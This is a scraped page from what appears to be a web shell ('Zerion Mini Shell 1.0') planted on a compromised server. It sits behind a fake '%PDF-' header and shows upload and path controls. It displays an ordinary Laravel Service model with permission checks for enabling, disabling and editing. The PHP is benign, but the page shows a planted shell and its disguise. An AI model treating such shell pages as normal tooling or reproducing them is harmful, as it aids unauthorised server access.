%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Models/Service.php

<?php

namespace App\Models;

use Exception as ExceptionAlias;
use Illuminate\Notifications\Notifiable;
use Spatie\MediaLibrary\HasMedia\HasMedia;
use Spatie\MediaLibrary\HasMedia\HasMediaTrait;

/**
 * @property integer id
 * @property string name
 * @property string description
 * @property string long_description
 * @property string price
 * @property integer category_id
 * @property integer client_id
 * @property boolean is_available
 * @property Category category
 * @property User client
 */
class Service extends BaseModel implements HasMedia
{
    use Notifiable, HasMediaTrait;

    const MEDIA_DISK = 'services';

    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'name',
        'description',
        'long_description',
        'price',
        'is_available',
    ];

    protected $casts = [
        'name'             => 'string',
        'description'      => 'string',
        'long_description' => 'string',
        'price'            => 'string',
        'is_available'     => 'boolean',
    ];

    public function category()
    {
        return $this->belongsTo(Category::class);
    }

    public function client()
    {
        return $this->belongsTo(User::class);
    }

    /**
     * @return $this
     * @throws ExceptionAlias
     */
    public function enable()
    {
        if (!$this->canEnable()) {
            throw new ExceptionAlias('Can not enable this service');
        }
        $this->is_available = true;
        $this->save();
        return $this;
    }

    public function canEnable()
    {
        if ($this->is_available) {
            return false;
        }
        /** @var User $user */
        $user = $this->getLoggedInUser();
        return $user->id === $this->client_id || (!$this->client_id && $user->isAdmin());
    }

    /**
     * @return $this
     * @throws ExceptionAlias
     */
    public function disable()
    {
        if (!$this->canDisable()) {
            throw new ExceptionAlias('Can not disable this service');
        }
        $this->is_available = false;
        $this->save();
        return $this;
    }

    public function canDisable()
    {
        if (!$this->is_available) {
            return false;
        }
        /** @var User $user */
        $user = $this->getLoggedInUser();
        return $user->id === $this->client_id || (!$this->client_id && $user->isAdmin());
    }

    public function getFileName()
    {
        if ($media = $this->media()
                          ->first()) {
            return $media->getCustomProperty('filename');
        }
        return '';
    }

    public function canEdit()
    {
        /** @var User $user */
        $user = $this->getLoggedInUser();
        return $user->id === $this->client_id || $user->isAdmin();
    }

}

Zerion Mini Shell 1.0